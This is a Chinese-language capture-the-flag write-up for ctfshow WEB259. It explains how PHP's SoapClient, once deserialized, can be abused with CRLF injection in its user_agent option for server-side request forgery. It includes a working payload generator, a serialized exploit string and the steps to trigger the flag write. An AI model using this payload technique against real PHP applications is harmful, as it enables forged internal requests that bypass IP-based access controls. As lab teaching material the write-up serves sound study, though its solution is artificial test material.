SoapClient 反序列化 SSRF
考点是利用 SoapClient 类反序列化 + CRLF 实现 SSRF,构造请求访问 flag.php 得到 flag
反序列化后的 SoapClient 对象在调用不存在的方法时会调用 __call,在 user_agent 中插入 CRLF 也就是 \r\n 控制 header 和 body 构造想要的请求
0x01 Soap
( 1 ) soap
SOAP
: Simple Object Access Protocol
简单对象访问协议
简单而言,SOAP 是连接或 Web 服务或客户端和 Web 服务之间的接口
其采用 HTTP 作为底层通讯协议,XML 作为数据传送的格式
SOAP 消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式
一条 SOAP 消息的组成:一个包含有一个必需的 SOAP 的封装包,一个可选的 SOAP 标头和一个必需的 SOAP 体块的 XML 文档
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?xml version="1.0"?> <soap:Envelope # Envelope: 标识XML文档,具有名称空间和编码详细信息 xmlns:soap="http://www.w3.org/2001/12/soap-envelope" soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">
<soap:Header> # Header:包含标题信息,如内容类型和字符集等 </soap:Header>
<soap:Body> # Body:包含请求和响应信息 <soap:Fault> # Fault:错误和状态信息 </soap:Fault> </soap:Body>
</soap:Envelope>
|
( 2 ) php 拓展
在 php 中 存在 soap 拓展用于 webservice 实现框架
这个扩展实现了 6 个类。其中有三个高级的类: SoapClient、SoapServer 和 SoapFault
和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar
其中 SoapClient 可以成为我们的利用对象
在 php 官方文档中
1
| public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
|
简单解释一下
- 第一个参数 $wsdl 用于指定是否 WSDL 模式 ( null 为非 WSDL ) WSDL(Web Services Description Language)文件用于描述 SOAP 服务,包括可用的方法、参数类型和返回类型等信息
- 第二个参数 $options 中有一个选项为 user_agent
- 也就是可以自定义 User-Agent , 那么在 Header 中 Content-Type Content-Length 都可以被控制, 进而利用到 CRLF
- 对于 Content-Type,如果我们想要利用 CRLF 发送 post 请求,那么要求它为 application/x-www-form-urlencode
- 回到第一个参数 如果是 null , 在 non-WSDL 模式中,因为没有使用 WSDL,传递了一个包含服务所在位置(location)和服务 URI 的参数数组作为参数。然后像 WSDL 模式中一样调用 __soapCall() 方法,但是使用了 SoapParam 类用指定格式打包参数。返回的结果将获取 greet 方法的响应 , 简单来说就是可以自定义 URI
如果在代码审计中有反序列化点,但在代码中找不到 pop 链,可以利用 php 内置类 SoapClient __call
方法 来进行反序列化
正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法 并且 由前面我们知道 反序列化的 Header 部分是可以自定义的
测试文件和监听数据包如下 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php $target = 'http://127.0.0.1:5555/path'; $post_string = 'data=something'; $headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=my_session' ); $b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "aaab"));
$aaa = serialize($b); $aaa = str_replace('^^', "\r\n", $aaa); $aaa = str_replace('&', '&', $aaa); echo $aaa;
$c = unserialize($aaa); $c->not_exists_function();
|
总结,unserialize + CRLF 可以生成任意 POST 请求
unserialize + __call + SoapClient + CRLF = SSRF
0x02 做个 CRLF 题目
WEB259
1 2 3 4 5 6
| <?php highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff);
if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } }
|
- 在 index.php 中 $vip->getFlag(); 调用一个不存在的函数方法 会自动调用 __call( ) 函数来发送请求
- 根据前面的构造代码 这里做几个更改 : token=ctfshow X-Forwarded-For: 127.0.0.1,127.0.0.1
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $target = 'http://127.0.0.1/flag.php'; $post_string = 'token=ctfshow'; $headers = array( 'X-Forwarded-For: 127.0.0.1,127.0.0.1', ); $b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "aaab"));
$aaa = serialize($b); $aaa = str_replace('^^', "\r\n", $aaa); $aaa = str_replace('&', '&', $aaa); echo urlencode($aaa);
|
$vip 序列化是这样的 这个uri
属性表示的是 SOAP 服务的端点(endpoint)URL 这里因为我们把序列化后的内容 URL 编码之后采用 GET 传参 所以没有实际作用
1 2 3 4 5 6 7 8 9 10 11
| O:10:"SoapClient":5: {s:3:"uri";s:4:"aaab"; s:8:"location"; s:25:"http://127.0.0.1/flag.php"; s:15:"_stream_context";i:0; s:11:"_user_agent";s:129:"choco Content-Type: application/x-www-form-urlencoded X-Forwarded-For: 127.0.0.1,127.0.0.1 Content-Length: 13
token=ctfshow";s:13:"_soap_version";i:1;}
|
- 访问 …/?vip=O%3A10%3A”SoapClient”……%7D 触发 file_put_contents(‘flag.txt’,$flag);
- 再去访问 /flag.txt 即可